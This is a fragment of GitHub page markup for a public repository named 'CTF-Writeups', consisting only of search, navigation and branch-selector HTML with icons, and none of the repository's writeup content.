aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="d8mqtsu4o+PfH48UrEt7jrGtAaFjVgpdYLjbuOQSWVn+LTEvc9PDSogoD4IAj0ttuRqfv4/BBIgq9NB58EnXyg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> mrajabinasab </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 0 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/mrajabinasab/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/mrajabinasab/CTF-Writeups/refs" cache-key="v0:1621249080.55423" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bXJhamFiaW5hc2FiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> 